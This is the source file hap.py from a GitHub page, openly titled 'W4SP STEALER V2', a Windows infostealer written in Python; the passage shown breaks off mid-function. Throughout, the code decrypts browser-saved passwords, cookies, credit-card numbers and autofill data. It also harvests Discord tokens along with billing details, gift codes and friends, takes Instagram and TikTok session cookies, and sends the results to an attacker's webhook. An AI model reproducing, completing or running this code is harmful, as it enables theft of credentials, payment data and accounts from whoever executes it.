-
Notifications
You must be signed in to change notification settings - Fork 0
/
hap.py
1459 lines (1269 loc) · 63.2 KB
/
hap.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import os
import re
import time
import gzip
import json
import shutil
import random
import hashlib
import warnings
import threading
import subprocess
from sys import executable, stderr
from base64 import b64decode
from json import loads, dumps
from zipfile import ZipFile, ZIP_DEFLATED
from sqlite3 import connect as sql_connect
from urllib.request import Request, urlopen
from ctypes import windll, wintypes, byref, cdll, Structure, POINTER, c_char, c_buffer
class NullWriter(object):
def write(self, arg):
pass
warnings.filterwarnings("ignore")
null_writer = NullWriter()
stderr = null_writer
# normal python needs to pip pycryptodome but for microsoft store python its Crypto
ModuleRequirements = [
["Crypto.Cipher", "pycryptodome" if not 'PythonSoftwareFoundation' in executable else 'Crypto']
]
for module in ModuleRequirements:
try:
__import__(module[0])
except:
subprocess.Popen(f"\"{executable}\" -m pip install {module[1]} --quiet", shell=True)
time.sleep(3)
from Crypto.Cipher import AES
# W4SP V2.4
# by loTus04 and xKian
class DATA_BLOB(Structure):
_fields_ = [
('cbData', wintypes.DWORD),
('pbData', POINTER(c_char))
]
def getip():
try:return urlopen(Request("https://api.ipify.org")).read().decode().strip()
except:return "None"
def zipfolder(foldername, target_dir):
zipobj = ZipFile(temp+"/"+foldername + '.zip', 'w', ZIP_DEFLATED)
rootlen = len(target_dir) + 1
for base, dirs, files in os.walk(target_dir):
for file in files:
fn = os.path.join(base, file)
if not "user_data" in fn:
zipobj.write(fn, fn[rootlen:])
def GetData(blob_out):
cbData = int(blob_out.cbData)
pbData = blob_out.pbData
buffer = c_buffer(cbData)
cdll.msvcrt.memcpy(buffer, pbData, cbData)
windll.kernel32.LocalFree(pbData)
return buffer.raw
def CryptUnprotectData(encrypted_bytes, entropy=b''):
buffer_in = c_buffer(encrypted_bytes, len(encrypted_bytes))
buffer_entropy = c_buffer(entropy, len(entropy))
blob_in = DATA_BLOB(len(encrypted_bytes), buffer_in)
blob_entropy = DATA_BLOB(len(entropy), buffer_entropy)
blob_out = DATA_BLOB()
if windll.crypt32.CryptUnprotectData(byref(blob_in), None, byref(blob_entropy), None, None, 0x01, byref(blob_out)):
return GetData(blob_out)
def DecryptValue(buff, master_key=None):
starts = buff.decode(encoding='utf8', errors='ignore')[:3]
if starts == 'v10' or starts == 'v11':
iv = buff[3:15]
payload = buff[15:]
cipher = AES.new(master_key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16]
try: decrypted_pass = decrypted_pass.decode()
except:pass
return decrypted_pass
def LoadUrlib(hook, data='', headers=''):
for i in range(8):
try:
if headers != '':
r = urlopen(Request(hook, data=data, headers=headers))
else:
r = urlopen(Request(hook, data=data))
return r
except:
pass
def globalInfo():
try:
username = os.getenv("USERNAME")
ipdatanojson = urlopen(Request(f"https://geolocation-db.com/jsonp/{IP}")).read().decode().replace('callback(', '').replace('})', '}')
ipdata = loads(ipdatanojson)
contry = ipdata["country_name"]
contryCode = ipdata["country_code"].lower()
if contryCode == "not found":
globalinfo = f":rainbow_flag: - `{username.upper()} | {IP} ({contry})`"
else:
globalinfo = f":flag_{contryCode}: - `{username.upper()} | {IP} ({contry})`"
return globalinfo
except:
return f":rainbow_flag: - `{username.upper()}`"
def Trust(Cookies):
# simple Trust Factor system - OFF for the moment
global DETECTED
data = str(Cookies)
tim = re.findall(".google.com", data)
DETECTED = True if len(tim) < -1 else False
return DETECTED
def getCodes(token):
try:
codes = ""
headers = {"Authorization": token,"Content-Type": "application/json","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"}
codess = loads(urlopen(Request("https://discord.com/api/v9/users/@me/outbound-promotions/codes?locale=en-GB", headers=headers)).read().decode())
for code in codess:
try:codes += f":tickets: **{str(code['promotion']['outbound_title'])}**\n<:Rightdown:891355646476296272> `{str(code['code'])}`\n"
except:pass
nitrocodess = loads(urlopen(Request("https://discord.com/api/v9/users/@me/entitlements/gifts?locale=en-GB", headers=headers)).read().decode())
if nitrocodess == []: return codes
for element in nitrocodess:
sku_id = element['sku_id']
subscription_plan_id = element['subscription_plan']['id']
name = element['subscription_plan']['name']
url = f"https://discord.com/api/v9/users/@me/entitlements/gift-codes?sku_id={sku_id}&subscription_plan_id={subscription_plan_id}"
nitrrrro = loads(urlopen(Request(url, headers=headers)).read().decode())
for el in nitrrrro:
cod = el['code']
try:codes += f":tickets: **{name}**\n<:Rightdown:891355646476296272> `https://discord.gift/{cod}`\n"
except:pass
return codes
except:return ""
# credit to NinjaRideV6 for this function
def getbillq(token):
headers = {
"Authorization": token,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
billq = "`(LQ Billing)`"
try:
bill = loads(urlopen(Request("https://discord.com/api/v9/users/@me/billing/payments?limit=20",headers=headers)).read().decode())
if bill == []: bill = ""
elif bill[0]['status'] == 1: billq = "`(HQ Billing)`"
except: pass
return billq
def GetBilling(token):
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
try:
billingjson = loads(urlopen(Request("https://discord.com/api/users/@me/billing/payment-sources", headers=headers)).read().decode())
except:
return False
if billingjson == []: return " -"
billing = ""
for methode in billingjson:
if methode["invalid"] == False:
if methode["type"] == 1:
billing += ":credit_card:"
elif methode["type"] == 2:
billing += ":parking: "
return billing
def GetBadge(flags):
if flags == 0: return ''
OwnedBadges = ''
badgeList = [
{"Name": 'Active_Developer', 'Value': 4194304, 'Emoji': '<:active:1045283132796063794> '},
{"Name": 'Early_Verified_Bot_Developer', 'Value': 131072, 'Emoji': "<:developer:874750808472825986> "},
{"Name": 'Bug_Hunter_Level_2', 'Value': 16384, 'Emoji': "<:bughunter_2:874750808430874664> "},
{"Name": 'Early_Supporter', 'Value': 512, 'Emoji': "<:early_supporter:874750808414113823> "},
{"Name": 'House_Balance', 'Value': 256, 'Emoji': "<:balance:874750808267292683> "},
{"Name": 'House_Brilliance', 'Value': 128, 'Emoji': "<:brilliance:874750808338608199> "},
{"Name": 'House_Bravery', 'Value': 64, 'Emoji': "<:bravery:874750808388952075> "},
{"Name": 'Bug_Hunter_Level_1', 'Value': 8, 'Emoji': "<:bughunter_1:874750808426692658> "},
{"Name": 'HypeSquad_Events', 'Value': 4, 'Emoji': "<:hypesquad_events:874750808594477056> "},
{"Name": 'Partnered_Server_Owner', 'Value': 2, 'Emoji': "<:partner:874750808678354964> "},
{"Name": 'Discord_Employee', 'Value': 1, 'Emoji': "<:staff:874750808728666152> "}
]
for badge in badgeList:
if flags // badge["Value"] != 0:
OwnedBadges += badge["Emoji"]
flags = flags % badge["Value"]
return OwnedBadges
def GetUHQFriends(token):
badgeList = [
{"Name": 'Active_Developer', 'Value': 4194304, 'Emoji': '<:active:1045283132796063794> '},
{"Name": 'Early_Verified_Bot_Developer', 'Value': 131072, 'Emoji': "<:developer:874750808472825986> "},
{"Name": 'Bug_Hunter_Level_2', 'Value': 16384, 'Emoji': "<:bughunter_2:874750808430874664> "},
{"Name": 'Early_Supporter', 'Value': 512, 'Emoji': "<:early_supporter:874750808414113823> "},
{"Name": 'House_Balance', 'Value': 256, 'Emoji': "<:balance:874750808267292683> "},
{"Name": 'House_Brilliance', 'Value': 128, 'Emoji': "<:brilliance:874750808338608199> "},
{"Name": 'House_Bravery', 'Value': 64, 'Emoji': "<:bravery:874750808388952075> "},
{"Name": 'Bug_Hunter_Level_1', 'Value': 8, 'Emoji': "<:bughunter_1:874750808426692658> "},
{"Name": 'HypeSquad_Events', 'Value': 4, 'Emoji': "<:hypesquad_events:874750808594477056> "},
{"Name": 'Partnered_Server_Owner', 'Value': 2, 'Emoji': "<:partner:874750808678354964> "},
{"Name": 'Discord_Employee', 'Value': 1, 'Emoji': "<:staff:874750808728666152> "}
]
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
try:
friendlist = loads(urlopen(Request("https://discord.com/api/v6/users/@me/relationships", headers=headers)).read().decode())
except:
return False
uhqlist = ''
for friend in friendlist:
OwnedBadges = ''
flags = friend['user']['public_flags']
for badge in badgeList:
if flags // badge["Value"] != 0 and friend['type'] == 1:
if not "House" in badge["Name"] and not badge["Name"] == "Active_Developer":
OwnedBadges += badge["Emoji"]
flags = flags % badge["Value"]
if OwnedBadges != '':
uhqlist += f"{OwnedBadges} | **{friend['user']['username']}#{friend['user']['discriminator']}** `({friend['user']['id']})`\n"
return uhqlist if uhqlist != '' else "`No HQ Friends`"
def GetUHQGuilds(token):
try:
uhqguilds = ""
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
guilds = loads(urlopen(Request("https://discord.com/api/v9/users/@me/guilds?with_counts=true", headers=headers)).read().decode())
for guild in guilds:
if guild["approximate_member_count"] < 50: continue
if guild["owner"] or guild["permissions"] == "4398046511103":
inv = loads(urlopen(Request(f"https://discord.com/api/v6/guilds/{guild['id']}/invites", headers=headers)).read().decode())
try: cc = "https://discord.gg/"+str(inv[0]['code'])
except: cc = False
uhqguilds += f"<:I_Join:928302098284691526> [{guild['name']}]({cc}) `({guild['id']})` **{str(guild['approximate_member_count'])} Members**\n"
if uhqguilds == "": return "`No HQ Guilds`"
return uhqguilds
except:
return "`No HQ Guilds`"
def GetTokenInfo(token):
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
userjson = loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers)).read().decode())
username = userjson["username"]
hashtag = userjson["discriminator"]
email = userjson["email"]
idd = userjson["id"]
pfp = userjson["avatar"]
flags = userjson["public_flags"]
nitro = ""
phone = "-"
if "premium_type" in userjson:
nitrot = userjson["premium_type"]
if nitrot == 1:
nitro = "<:classic:896119171019067423> "
elif nitrot == 2:
nitro = "<a:boost:824036778570416129> <:classic:896119171019067423> "
if "phone" in userjson: phone = f'`{userjson["phone"]}`' if userjson["phone"] != None else "-"
return username, hashtag, email, idd, pfp, flags, nitro, phone
def checkToken(token):
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
try:
urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers))
return True
except:
return False
class ttsign: #this is the cleanest code ive ever written
def __init__(self,params:str,data:str,cookies:str)->None:self.params,self.data,self.cookies=params,data,cookies
def hash(self,data:str)->str:return str(hashlib.md5(data.encode()).hexdigest())
def get_base_string(self)->str:base_str=self.hash(self.params);base_str=(base_str+self.hash(self.data)if self.data else base_str+str("0"*32));base_str=(base_str+self.hash(self.cookies)if self.cookies else base_str+str("0"*32));return base_str
def get_value(self)->json:return self.encrypt(self.get_base_string())
def encrypt(self,data:str)->json:
unix,len,key,result,param_list=int(time.time()),0x14,[0xDF,0x77,0xB9,0x40,0xB9,0x9B,0x84,0x83,0xD1,0xB9,0xCB,0xD1,0xF7,0xC2,0xB9,0x85,0xC3,0xD0,0xFB,0xC3],"",[]
for i in range(0,12,4):
temp=data[8*i:8*(i+1)]
for j in range(4):H = int(temp[j*2:(j+1)*2],16);param_list.append(H)
param_list.extend([0x0,0x6,0xB,0x1C]);H=int(hex(int(unix)),16);param_list.append((H&0xFF000000)>>24);param_list.append((H&0x00FF0000)>>16);param_list.append((H&0x0000FF00)>>8);param_list.append((H&0x000000FF)>>0);eor_result_list = []
for A,B in zip(param_list,key):eor_result_list.append(A^B)
for i in range(len):C=self.reverse(eor_result_list[i]);D=eor_result_list[(i + 1)%len];E=C^D;F=self.rbit_algorithm(E);H=((F^0xFFFFFFFF)^len)&0xFF;eor_result_list[i]=H
for param in eor_result_list:result+=self.hex_string(param)
return {"x-ss-req-ticket":str(int(unix*1000)),"x-khronos":str(int(unix)),"x-gorgon":("0404b0d30000"+result)}
def rbit_algorithm(self, num):
result,tmp_string= "",bin(num)[2:]
while len(tmp_string)<8:tmp_string="0"+tmp_string
for i in range(0,8):result=result+tmp_string[7-i]
return int(result,2)
def hex_string(self,num):
tmp_string=hex(num)[2:]
if len(tmp_string)<2:tmp_string="0"+tmp_string
return tmp_string
def reverse(self, num):tmp_string=self.hex_string(num);return int(tmp_string[1:]+tmp_string[:1],16)
def TiktokInfo(sessionid):
global ttusrnames
params = f"device_type=SM-G988N&app_name=musical_ly&channel=googleplay&device_platform=android&iid={int(bin(int(time.time()))[2:] + '10100110110100110000011100000101', 2)}&version_code=180805&device_id={int(bin(int(time.time()))[2:] + '00101101010100010100011000000110', 2)}&os_version=7.1.2&aid=1233"
url = "https://api19-va.tiktokv.com/aweme/v1/user/profile/self/?" + params
headers = {
**ttsign(params, None, None).get_value(),
"Host": "api19-va.tiktokv.com",
"Connection": "keep-alive",
"accept-encoding": "gzip",
"user-agent": "okhttp/3.12.1",
"passport-sdk-version": "19",
"sdk-version": "2",
"cookie": "sessionid={};".format(sessionid)
}
res = urlopen(Request(url, headers=headers)).read()
try:
jsson = loads(res.decode(errors="ignore"))["user"]
except:
jsson = loads(gzip.GzipFile(fileobj=io.BytesIO(res)).read().decode(errors='ignore'))["user"]
if not jsson["unique_id"] in ttusrnames:
ttusrnames.append(jsson["unique_id"])
return [{
"name": "<:tiktok:883079597187530802> Tiktok",
"value": f"**Username:** [{jsson['unique_id']}](https://tiktok.com/@{jsson['unique_id']})\n**Followers:** {jsson['follower_count']}\n**Likes:** {jsson['total_favorited']}",
"inline": False
}]
return []
def InstagramInfo(token):
headers = {
'authority': 'www.instagram.com',
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'accept-language': 'fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 OPR/93.0.0.0',
'Cookie': f'sessionid={token}'
}
response = str(urlopen(Request('https://www.instagram.com/', headers=headers)).read())
usernam = response.split('\\\\"username\\\\":\\\\"')[1].split('\\\\"')[0]
idd = response.split(',{"appId":"')[1].split('"')[0]
headers2 = {
'accept': '*/*',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 OPR/93.0.0.0',
'x-ig-app-id': idd,
'Cookie': f'sessionid={token}'
}
r2 = loads(urlopen(Request(f'http://i.instagram.com/api/v1/users/web_profile_info/?username={usernam}', None, headers2)).read().decode(errors="ignore"))
sheeps = r2["data"]["user"]["edge_followed_by"]["count"]
following = r2["data"]["user"]["edge_follow"]["count"]
return [{"name": "<:insta:883079911802273833> Instagram", "value": f"**Username:** [{usernam}](https://www.instagram.com/{usernam})\n**Followers:** {sheeps}\n**Following:** {following}", "inline": False}]
def getaccountsinfo():
global History, Cookies, Bookmarks, Passw
data = []
if "instagram" in str(Cookies):
for line in Cookies:
if "instagram" in line and "sessionid" in line:
try:
token = line.split("V41U3: ")[1]
data += InstagramInfo(token)
except: pass
if "tiktok" in str(Cookies):
for line in Cookies:
if "tiktok" in line and "sessionid" in line:
try:
token = line.split("V41U3: ")[1]
data += TiktokInfo(token)
except: pass
if "protonmail" in str(History):
for line in History:
if "proton.me/login" in line and "state=" in line:
try:
token = line.split("state=")[1]
if "&" in token:
token2 = token.split("&")[0]
token = token2
data += [{"name": "<:protonmail:1058071138015662100> ProtonMail", "value": f"[URL]({line})\n**Token:** {token}", "inline": False}]
break
except: pass
upload("Data Searcher", data)
def Trim(obj):
if len(obj) > 1000:
f = obj.split("\n")
obj = ""
for i in f:
if len(obj)+ len(i) >= 1000:
obj += "..."
break
obj += i + "\n"
return obj
def uploadToken(token, path):
global hook
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
username, hashtag, email, idd, pfp, flags, nitro, phone = GetTokenInfo(token)
pfp = f"https://cdn.discordapp.com/avatars/{idd}/{pfp}" if pfp != None else "https://cdn.discordapp.com/attachments/963114349877162004/992593184251183195/7c8f476123d28d103efe381543274c25.png"
billing = GetBilling(token)
badge = GetBadge(flags)
friends = Trim(GetUHQFriends(token))
guilds = Trim(GetUHQGuilds(token))
codes = Trim(getCodes(token))
billq = getbillq(token)
if codes == "": codes = "`No Codes`"
if billing == "": billing = ":lock:"
if badge == "" and nitro == "": badge, nitro = ":lock:", ""
if phone == "": phone = "-"
if friends == "": friends = ":lock:"
if guilds == "": guilds = ":lock:"
path = path.replace("\\", "/")
data = {
"content": f'{GLINFO}\n\n**Found in** `{path}`',
"embeds": [
{
"color": 14406413,
"fields": [
{
"name": ":rocket: Token:",
"value": f"`{token}`"
},
{
"name": "<:T_Gmail:926969501159915521> Gmail:" if "@gmail.com" in email else ":e_mail: Mail:",
"value": f"`{email}`",
"inline": True
},
{
"name": ":mobile_phone: Phone:",
"value": f"`{phone}`",
"inline": True
},
{
"name": "<:I_Earth:907674190470074429> IP:",
"value": f"`{IP}`",
"inline": True
},
{
"name": "<:Crown:930906710019833856> Badges:",
"value": nitro + badge,
"inline": True
},
{
"name": ":credit_card: Billing:",
"value": f"{billing} {billq}",
"inline": True
},
{
"name": "<:wumpusWave:943553592063852594> HQ Friends:",
"value": friends,
"inline": False
},
{
"name": "<:I_Compass:923312623179661322> HQ Guilds:",
"value": guilds,
"inline": False
},
{
"name": ":gift: Gift codes:",
"value": codes,
"inline": False
}
],
"author": {
"name": f"{username}#{hashtag} ({idd})",
"icon_url": f"{pfp}"
},
"footer": {
"text": "@W4SP STEALER V2",
"icon_url": "https://cdn.discordapp.com/attachments/1066129000952512552/1069061940363657246/waspv2logo.png"
},
"thumbnail": {
"url": f"{pfp}"
}
}
],
"attachments": []
}
LoadUrlib(hook, data=dumps(data).encode(), headers=headers)
def Reformat(listt):
e = re.findall("(\w+[a-z])",listt)
while "https" in e: e.remove("https")
while "com" in e: e.remove("com")
while "net" in e: e.remove("net")
return list(set(e))
def upload(name, link):
# return
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0"
}
if "Data Searcher" in name:
data = {
"content": GLINFO,
"embeds": [
{
"title": f"W4SP | Data Extractor",
"color": 15781403,
"fields": link,
"footer": {
"text": "@W4SP STEALER V2",
"icon_url": "https://cdn.discordapp.com/attachments/1066129000952512552/1069061940363657246/waspv2logo.png"
},
}
],
"avatar_url": "https://cdn.discordapp.com/attachments/1066129000952512552/1069061940363657246/waspv2logo.png",
"attachments": []
}
LoadUrlib(hook, data=dumps(data).encode(), headers=headers)
return
if "NationsGlory" in name:
data = {
"content": GLINFO,
"embeds": [
{
"title": f"W4SP | {name.split(';')[0]}",
"color": 15781403,
"fields": link,
"footer": {
"text": "@W4SP STEALER V2",
"icon_url": "https://cdn.discordapp.com/attachments/1066129000952512552/1069061940363657246/waspv2logo.png"
},
"thumbnail": {
"url": name.split(';')[1]
}
}
],
"avatar_url": "https://cdn.discordapp.com/attachments/1066129000952512552/1069061940363657246/waspv2logo.png",
"attachments": []
}
LoadUrlib(hook, data=dumps(data).encode(), headers=headers)
return
if name == "kiwi":
string = link.split("\n\n")
endlist = []
for i in string:
i = i.split("\n")
i = list(filter(None, i))
val = ""
for x in i:
if x.startswith("└─"):
val += x + "\n"
if len(i) > 1:
endlist.append({"name": i[0], "value": val, "inline": False})
data = {
"content": GLINFO,
"embeds": [
{
"color": 14406413,
"fields": endlist,
"title": f"W4SP | File Stealer",
"footer": {
"text": "@W4SP STEALER V2",
"icon_url": "https://cdn.discordapp.com/attachments/1066129000952512552/1069061940363657246/waspv2logo.png"
}
}
],
"attachments": []
}
LoadUrlib(hook, data=dumps(data).encode(), headers=headers)
return
def writeforfile(data, name):
path = os.getenv("TEMP") + f"\wp{name}.txt"
with open(path, mode='w', encoding='utf-8') as f:
for line in data:
if line[0] != '':
f.write(f"{line}\n")
def getToken(path, arg):
if not os.path.exists(path): return
path += arg
for file in os.listdir(path):
if file.endswith(".log") or file.endswith(".ldb") :
for line in [x.strip() for x in open(f"{path}\\{file}", errors="ignore").readlines() if x.strip()]:
for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"):
for token in re.findall(regex, line):
global Tokens
if checkToken(token):
if not token in Tokens:
Tokens += token
uploadToken(token, path)
def SqlThing(pathC, tempfold, cmd):
shutil.copy2(pathC, tempfold)
conn = sql_connect(tempfold)
cursor = conn.cursor()
cursor.execute(cmd)
data = cursor.fetchall()
cursor.close()
conn.close()
os.remove(tempfold)
return data
def FirefoxCookie():
try:
global Cookies, CookiCount
firefoxpath = f"{roaming}/Mozilla/Firefox/Profiles"
if not os.path.exists(firefoxpath): return
subprocess.Popen(f"taskkill /im firefox.exe /t /f >nul 2>&1", shell=True)
for subdir, dirs, files in os.walk(firefoxpath):
for file in files:
if file.endswith("cookies.sqlite"):
tempfold = temp + "wp" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"
shutil.copy2(os.path.join(subdir, file), tempfold)
conn = sql_connect(tempfold)
cursor = conn.cursor()
cursor.execute("select * from moz_cookies ")
data = cursor.fetchall()
cursor.close()
conn.close()
os.remove(tempfold)
for row in data:
if row[0] != '':
Cookies.append(f"H057 K3Y: {row[4]} | N4M3: {row[2]} | V41U3: {row[3]}")
CookiCount += 1
except: pass
def getPassw(path, arg):
try:
global Passw, PasswCount
if not os.path.exists(path): return
pathC = path + arg + "/Login Data"
if os.stat(pathC).st_size == 0: return
tempfold = temp + "wp" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"
data = SqlThing(pathC, tempfold, "SELECT action_url, username_value, password_value FROM logins;")
pathKey = path + "/Local State"
with open(pathKey, 'r', encoding='utf-8') as f: local_state = loads(f.read())
master_key = b64decode(local_state['os_crypt']['encrypted_key'])
master_key = CryptUnprotectData(master_key[5:])
for row in data:
if row[0] != '':
for wa in keyword:
old = wa
if "https" in wa:
tmp = wa
wa = tmp.split('[')[1].split(']')[0]
if wa in row[0]:
if not old in paswWords: paswWords.append(old)
Passw.append(f"UR1: {row[0]} | U53RN4M3: {row[1]} | P455W0RD: {DecryptValue(row[2], master_key)}")
PasswCount += 1
writeforfile(Passw, 'passwords')
except:pass
def getCookie(path, arg):
try:
global Cookies, CookiCount
if not os.path.exists(path): return
pathC = path + arg + "/Cookies"
if os.stat(pathC).st_size == 0: return
tempfold = temp + "wp" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"
data = SqlThing(pathC, tempfold, "SELECT host_key, name, encrypted_value FROM cookies ")
pathKey = path + "/Local State"
with open(pathKey, 'r', encoding='utf-8') as f: local_state = loads(f.read())
master_key = b64decode(local_state['os_crypt']['encrypted_key'])
master_key = CryptUnprotectData(master_key[5:])
for row in data:
if row[0] != '':
for wa in keyword:
old = wa
if "https" in wa:
tmp = wa
wa = tmp.split('[')[1].split(']')[0]
if wa in row[0]:
if not old in cookiWords: cookiWords.append(old)
Cookies.append(f"H057 K3Y: {row[0]} | N4M3: {row[1]} | V41U3: {DecryptValue(row[2], master_key)}")
CookiCount += 1
writeforfile(Cookies, 'cookies')
except:pass
def getCCs(path, arg):
try:
global CCs, CCsCount
if not os.path.exists(path): return
pathC = path + arg + "/Web Data"
if os.stat(pathC).st_size == 0: return
tempfold = temp + "wp" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"
data = SqlThing(pathC, tempfold, "SELECT * FROM credit_cards ")
pathKey = path + "/Local State"
with open(pathKey, 'r', encoding='utf-8') as f: local_state = loads(f.read())
master_key = b64decode(local_state['os_crypt']['encrypted_key'])
master_key = CryptUnprotectData(master_key[5:])
for row in data:
if row[0] != '':
CCs.append(f"C4RD N4M3: {row[1]} | NUMB3R: {DecryptValue(row[4], master_key)} | EXPIRY: {row[2]}/{row[3]}")
CCsCount += 1
writeforfile(CCs, 'creditcards')
except:pass
def getAutofill(path, arg):
try:
global Autofill, AutofillCount
if not os.path.exists(path): return
pathC = path + arg + "/Web Data"
if os.stat(pathC).st_size == 0: return
tempfold = temp + "wp" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"
data = SqlThing(pathC, tempfold,"SELECT * FROM autofill WHERE value NOT NULL")
for row in data:
if row[0] != '':
Autofill.append(f"N4M3: {row[0]} | V4LU3: {row[1]}")
AutofillCount += 1
writeforfile(Autofill, 'autofill')
except:pass
def getHistory(path, arg):
try:
global History, HistoryCount
if not os.path.exists(path): return
pathC = path + arg + "History"
if os.stat(pathC).st_size == 0: return
tempfold = temp + "wp" + ''.join(random.choice('bcdefghijklmnopqrstuvwxyz') for i in range(8)) + ".db"
data = SqlThing(pathC, tempfold,"SELECT * FROM urls")
for row in data:
if row[0] != '':
History.append(row[1])
HistoryCount += 1
writeforfile(History, 'history')
except:pass
def getwebsites(Words):
rb = ' | '.join(da for da in Words)
if len(rb) > 1000:
rrrrr = Reformat(str(Words))
return ' | '.join(da for da in rrrrr)
else: return rb
def getBookmarks(path, arg):
try:
global Bookmarks, BookmarksCount
if not os.path.exists(path): return
